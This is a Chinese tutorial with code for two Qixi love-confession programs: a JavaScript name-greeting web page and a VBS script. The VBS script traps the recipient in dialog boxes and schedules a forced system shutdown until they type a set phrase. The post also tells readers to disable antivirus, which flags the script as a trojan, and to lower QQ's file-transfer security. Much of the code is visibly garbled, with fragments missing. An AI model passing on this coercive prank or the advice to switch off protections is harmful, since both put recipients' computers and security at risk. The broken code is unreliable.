电脑小白也可以用程序追女神男神。
七夕节快到了,电脑小白或新手程序员如何用程序表白?互相耀武扬威的今天我教你一招,同志们,收下吧!
1、网页
这是效果图。刚刚进入页面的是“七夕幸福”两个字。输入自己的名字就知道“某人长得帅的比例”。你可以设定的一切。
然后当你输入一个你不认识的人的名字的时候,就会出现“不好意思,本站还没有对某某的祝福”,最后当你输入你想表白的那个人的名字的时候就会出现“某某,你好,七夕快乐!”也许有人说,这话太捞了,表白都这么弱势,情话你都可以自己改嘛!!好了,下面直接上代码:<html>
<head>
<script type="text/javascript">
function display(){
var names=["男神的名字","女神的名字"];
var name=document.getElementById("name").value;
var show=document.getElementById("show");
;";
var flag=false;
while(true){
var colorCode="rgb("+Ma()255)+","+Ma()255)+","+Ma()*255)+")";
if(colorCode!="rgb(255,255,255)"){
break;
}
}
;
for(var str in names){
if(names[str]==name){
flag=true;
}
}
if(name==""||name==null){
var text=document.createTextNode("请先输入真实姓名!");
(text);
}else if(flag==true){
var text=document.createTextNode(name+",你好,祝你七夕快乐!");
(text);
}else if(name=="你的名字"){
var text=document.createTextNode(name+"是个大帅比!");
(text);
}else{
var text=document.createTextNode("不好意思,本站还没有对"+name+"的祝福!");
(text);
}}
</script>
</head>
<body style="background:#EED5D2" >
<div align="center" style="background:yellow;width:300px;height:200px;margin:0 auto;box-shadow:3 3 3 blue">
<div style="width:100%;height:35%;" ></div>
<div aligin="center" style="font-family:仿宋;font-size:20px" >请输入你的姓名:<input id="name" type="text"></input></div>
<input type="button" style="box-shadow:3 3 3 blue" value="确定" onclick="display()"></input>
</div>
<div id="show" align="center" style="height:500px;width:900px;;margin:0 auto;background:#F5FFFA;box-shadow:3 3 3 blue;font-size:20px;font-family:仿宋;vertical-align:middle;word-wrap:break-word;overflow:hidden;line-height:50px;line-height:500px">
<h1>七夕快乐!<h1>
</div>
</body>
</html>
上面“男神的名字”,“女神的名字”就是你要表白的对象,“你好,七夕快乐”那里就是你要说的情话……新建一个txt文件,也就是记事本文档文件,然后打开把上面这些代码复制粘贴进去,保存后关闭,然后把文件名改成“*.html”,也就是把后缀名改成html,就可以啦。然后双击点击运行就可以了。
2、vbs表白
有人说上面那个程序没意思,太不好玩了,那下面来一个强势一点的。
执行代码后,会停留在一个页面。必须要输入“喜羊羊我爱你”,否则会一直停留在这个界面,并且在251秒之后自动关机。输入正确内容之后,程序才会自动解除。
下面直接上代码:
On Error Resume Next
Dim WSHshellA
MsgBox Chr(13) + Chr(13) + Chr(13) + "宝贝,你好,用这种方式和你说话实属无赖,在你面前我不敢说,现在通过计算机来表达我想对你说的话。"
MsgBox Chr(13) + Chr(13) + Chr(13) + "你不想看完也不行,因为你关不掉这个软件的"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一生数十载,缘起缘灭,情深情浅,且行且珍惜"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一年四季变幻莫测,花开花败,不变的是我对你的真情"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一天早中晚,日出日落,日月轮回,循环着我对你的思念"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一生太长,我们慢慢地过"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一天太短,我们用心地过"
MsgBox Chr(13) + Chr(13) + Chr(13) + "佛说前世五百次的回眸,换得今生的相识"
MsgBox Chr(13) + Chr(13) + Chr(13) + "遇见你,是我最美丽的意外"
Set WSHshellA = w("w;)
WSH "cmd.exe /c shutdown -r -t 251 -c ""宝贝我给你521秒的时间考虑下,你如果爱我就输入喜羊羊我爱你,当251秒过后,电脑将自动关机,这不是病毒,对你没有任何伤害,重启后此程序就结束了"" ", 0, True
Dim a
Do While (a <> "喜羊羊我爱你")
a = InputBox("请你输入:喜羊羊我爱你,快撒,求你说 ""喜羊羊我爱你"" ", "请输入", "爱我吗?", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "真的吗?你说了你爱我?"
MsgBox Chr(13) + Chr(13) + Chr(13) + "我要马上出现在你身边,给我打个电话130********"
Dim WSHshell
Set WSHshell = w("w;)
WSH "cmd.exe /c shutdown -a", 0, True
MsgBox Chr(13) + Chr(13) + Chr(13) + "宝宝是不是又帅啦??"
MsgBox Chr(13) + Chr(13) + Chr(13) + "宝贝等我,我马上来!!
上面的文字部分都是你可以自己改的,但是请注意双引号一定要用英文的,所以改的时候最好别去掉双引号!!…… 新建一个txt文件,也就是记事本文档文件,然后打开把上面这些代码复制粘贴进去,保存后关闭,然后把文件名改成“*.vbs”,也就是把后缀名改成vbs,就可以啦。然后双击点击运行就可以了。
但是这个程序太强势,所以杀毒软件都会屏蔽,鉴定为木马,但是我赌两包辣条的大血本,这绝对不是一个木马!所以需要把杀毒软件关掉,或者把这个程序添加为可信任软件。
好啦,程序全部讲完啦,你学会了吗?快去表白吧!
但是还有些注意事项哦。
注意1:以上代码的某些换行是必须的,所以换行最好都按照上面的规则来。
注意2:所有引号都是英文的双引号哦,所以为了避免出错,就不要改引号吧。
注意3:腾讯qq可能不能直接传html和vbs的文件,因为腾讯的安全监管很严很敏感,试试系统设置-安全设置-文件传输-安全级别低,设置为最低试试,或者用微信传输吧。